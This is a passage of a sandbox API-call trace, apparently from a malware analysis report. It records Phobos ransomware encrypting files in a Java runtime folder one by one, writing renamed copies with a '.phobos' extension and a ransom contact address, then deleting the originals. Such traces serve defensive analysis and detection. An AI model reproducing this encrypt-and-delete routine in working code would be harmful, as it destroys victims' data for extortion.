(lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0176.927] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1810) returned 1 [0176.927] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0176.927] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x2da40, lpOverlapped=0x0) returned 1 [0177.537] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x2da50, dwBufLen=0x2da50 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x2da50) returned 1 [0177.538] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x2da50, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x2da50, lpOverlapped=0x0) returned 1 [0177.542] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d14d0) returned 1 [0177.542] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0177.542] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0177.542] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0177.542] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0177.542] CryptDestroyKey (hKey=0x1d1810) returned 1 [0177.542] CloseHandle (hObject=0x2cc) returned 1 [0177.542] CloseHandle (hObject=0x2e4) returned 1 [0177.542] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 1 [0177.545] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0177.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0177.545] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=455744) returned 1 [0177.545] CloseHandle (hObject=0x2e4) returned 1 [0177.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 0x20 [0177.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0177.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0177.546] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0177.546] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0177.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0177.546] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d17d0) returned 1 [0177.546] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0177.547] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x6f440, lpOverlapped=0x0) returned 1 [0178.335] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x6f450, dwBufLen=0x6f450 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x6f450) returned 1 [0178.335] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x6f450, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x6f450, lpOverlapped=0x0) returned 1 [0178.342] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d18d0) returned 1 [0178.342] CryptSetKeyParam (hKey=0x1d18d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0178.342] CryptEncrypt (in: hKey=0x1d18d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0178.342] CryptDestroyKey (hKey=0x1d18d0) returned 1 [0178.342] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0178.342] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0178.342] CloseHandle (hObject=0x2e4) returned 1 [0178.342] CloseHandle (hObject=0x2cc) returned 1 [0178.342] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 1 [0178.346] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0178.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0178.347] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=123456) returned 1 [0178.347] CloseHandle (hObject=0x2cc) returned 1 [0178.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 0x20 [0178.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0178.347] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0178.347] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0178.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0178.348] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1ad0) returned 1 [0178.348] CryptSetKeyParam (hKey=0x1d1ad0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0178.348] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x1e240, lpOverlapped=0x0) returned 1 [0178.397] CryptEncrypt (in: hKey=0x1d1ad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x1e250, dwBufLen=0x1e250 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x1e250) returned 1 [0178.398] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x1e250, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x1e250, lpOverlapped=0x0) returned 1 [0178.400] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d17d0) returned 1 [0178.400] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0178.400] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0178.400] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0178.400] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0178.400] CryptDestroyKey (hKey=0x1d1ad0) returned 1 [0178.400] CloseHandle (hObject=0x2cc) returned 1 [0178.400] CloseHandle (hObject=0x2e4) returned 1 [0178.400] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 1 [0178.402] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0178.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0178.403] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=19008) returned 1 [0178.403] CloseHandle (hObject=0x2e4) returned 1 [0178.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 0x20 [0178.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0178.403] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0178.403] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0178.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0178.404] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1450) returned 1 [0178.404] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0178.404] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x4a40, lpOverlapped=0x0) returned 1 [0178.485] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x4a50, dwBufLen=0x4a50 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x4a50) returned 1 [0178.485] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x4a50, lpOverlapped=0x0) returned 1 [0178.486] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1b90) returned 1 [0178.486] CryptSetKeyParam (hKey=0x1d1b90, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0178.486] CryptEncrypt (in: hKey=0x1d1b90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0178.486] CryptDestroyKey (hKey=0x1d1b90) returned 1 [0178.487] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0178.487] CryptDestroyKey (hKey=0x1d1450) returned 1 [0178.487] CloseHandle (hObject=0x2e4) returned 1 [0178.487] CloseHandle (hObject=0x2cc) returned 1 [0178.487] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 1 [0178.488] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0178.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0178.488] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=34368) returned 1 [0178.488] CloseHandle (hObject=0x2cc) returned 1 [0178.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 0x20 [0178.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0178.489] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0178.489] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0178.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0178.489] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d14d0) returned 1 [0178.489] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0178.489] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x8640, lpOverlapped=0x0) returned 1 [0178.545] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x8650, dwBufLen=0x8650 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x8650) returned 1 [0178.545] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x8650, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x8650, lpOverlapped=0x0) returned 1 [0178.547] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1810) returned 1 [0178.547] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0178.547] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0178.547] CryptDestroyKey (hKey=0x1d1810) returned 1 [0178.547] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0178.547] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0178.547] CloseHandle (hObject=0x2cc) returned 1 [0178.547] CloseHandle (hObject=0x2e4) returned 1 [0178.547] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 1 [0178.549] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0178.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0178.549] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=159808) returned 1 [0178.549] CloseHandle (hObject=0x2e4) returned 1 [0178.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 0x20 [0178.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0178.550] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0178.550] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0178.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0178.550] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1450) returned 1 [0178.550] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0178.550] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x27040, lpOverlapped=0x0) returned 1 [0178.735] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x27050, dwBufLen=0x27050 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x27050) returned 1 [0178.736] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x27050, lpOverlapped=0x0) returned 1 [0178.741] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d17d0) returned 1 [0178.741] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0178.741] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0178.741] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0178.741] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0178.741] CryptDestroyKey (hKey=0x1d1450) returned 1 [0178.741] CloseHandle (hObject=0x2e4) returned 1 [0178.741] CloseHandle (hObject=0x2cc) returned 1 [0178.743] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 1 [0178.747] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0178.747] CreateFileW (lpFileName="\\\\?\\C:\\Program 